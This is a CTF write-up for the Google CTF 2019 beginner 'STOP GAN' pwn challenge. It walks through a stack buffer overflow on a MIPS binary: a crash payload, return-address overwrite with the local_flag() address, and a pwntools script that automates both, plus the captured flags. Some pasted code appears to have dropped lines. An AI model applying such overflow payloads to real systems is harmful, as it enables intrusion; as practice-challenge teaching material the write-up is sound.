Google CTF 2019 – Beginner’s Quest: STOP GAN (pwn)

Hey folks, we got back with a nice and straightforward challenge from Google CTF beginner’s quest and it is from the (pwn) category.

Download Challenge :

Challenge Description:

Success, you’ve got the picture of your lost love, not knowing that pictures and the things you take pictures of are generally two separate things, you think you’ve rescued them and their brethren by downloading them all to your ships hard drive. They’re still being eaten, but this is a fact that has escaped you entirely. Your thoughts swiftly shift to revenge. It’s important now to stop this program from destroying these “Cauliflowers” as they’re referred to, ever again. 1337

After downloading and extracting the challenge files from the ZIP archive, we got two files

Challenge Files

As usual try to figure out the type of the files

bof : is an 32-bit executable but it is not the usual Intel architecture but it is MIPS (little endian)

Let’s get a look at console.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

 * 6e: bufferflow triggering segfault  - binary, compile with:
 * gcc /tmp/console.c -o /tmp/console -static -s
 * Console allows the player to get info on the binary.
 * Crashing bof will trigger the 1st flag.
 * Controlling the buffer overflow in bof will trigger the 2nd flag.

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  char inputs[256];
  printf("Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.\n Bonus flag for controlling the crash.\n");
  while(1) {
    printf("\nConsole commands: \nrun\nquit\n>>");
    if (fgets(inputs, 256, stdin) == NULL) {
    printf("Inputs: %s", inputs);
    if ( strncmp(inputs, "run\n\0", 256) == 0 ) {
      int result = system("/usr/bin/qemu-mipsel-static ./bof");
    } else if ( strncmp(inputs, "quit\n\0", 256) == 0 ) {
    } else {
      puts("Unable to determine action from your input");
  return 0;

So, after reading the console.c file we figured out that it is not the source code of the bof file but rather it has some hints about buffer overflows, the compilation of the bof and our goal is to crash the Cauliflower system by providing input to it using ‘run’ command to get the Flag and after that we can continue to get the Bonus Flag.

To get an idea what is the functionality of bof executable, I will use Ghidra to de-compile it and luckily Ghidra supports decompilation of multiple architectures including MIPS.

Decompilation of main() in Ghidra

Let’s connect to the server

nc -v 1337
Connecting to the server

To crash the system we should provide it with input more than the available space to overwrite the stack and resulting in a segfault. From decompilation of the main() in the picture above, we knew that the space available for our input is 260 bytes and more than that the program will crash.

Let’s start with 300 bytes long input

python -c 'print "run\n" + "A"*300' | nc -v 1337
Crashing the system

Flag1 : CTF{Why_does_cauliflower_threaten_us}

Now our mission is to control the crash (most probably to print the Bonus Flag) as the program is telling us.

In Ghidra we can search the functions of bof for the word “flag”

Search results in Ghidra for the string “flag”

After knowing what function we want to execute after getting control of the program, we should calculate the exact length of our payload that caused the crash and then get control of the return address.

After trying a little bit with the length of our payload, I found that the system crashes after entering 264 of A’s so now we know that the address of the function local_flag() should be placed after 264 of A’s.

python -c 'print "run\n" + "A"*(260+4)+"\x50\x08\x40\x00"' | nc -v 1337
Controlling the crash and executing local_flag()

Flag2 : CTF{controlled_crash_causes_conditional_correspondence}

Done? not yet, Automation FTW!

Let’s build a python script to automate getting the flags for us

from pwn import *
import re

# Connection Information
HOST = ""
PORT = 1337

# Initial Payload
payload = "A" * 264

# This function get the first flag by crashing the system
def get_flag1(conn, payload):
	payload += 4 * "A"
	flag = conn.recvuntil("}")
	flag = re.findall("CTF{.*}", flag)[0]
	return flag

# This function get the second flag 
# by controlling the execution and execution local_flag() function
def get_flag2(conn, payload):
	payload += p32(0x00400850) # address of local_flag() function
	flag = conn.recvuntil("}")
	flag = re.findall("CTF{.*}", flag)[0]
	return flag

# Connect first time
conn = remote(HOST, PORT)
flag1 = get_flag1(conn, payload)
print flag1

# Saving first flag in a file named "flags.txt"
with open("flags.txt", 'w') as f:
	f.write("First Flag : " + flag1 + "\n\n")

# Connect second time
conn = remote(HOST, PORT)
flag2 = get_flag2(conn, payload)
print flag2

# Saving second flag in the "flags.txt file"
with open("flags.txt", 'a') as f:
	f.write("Bonus Flag : " + flag2 + "\n\n")

Now we got the flags the right way 😉

Leave a Reply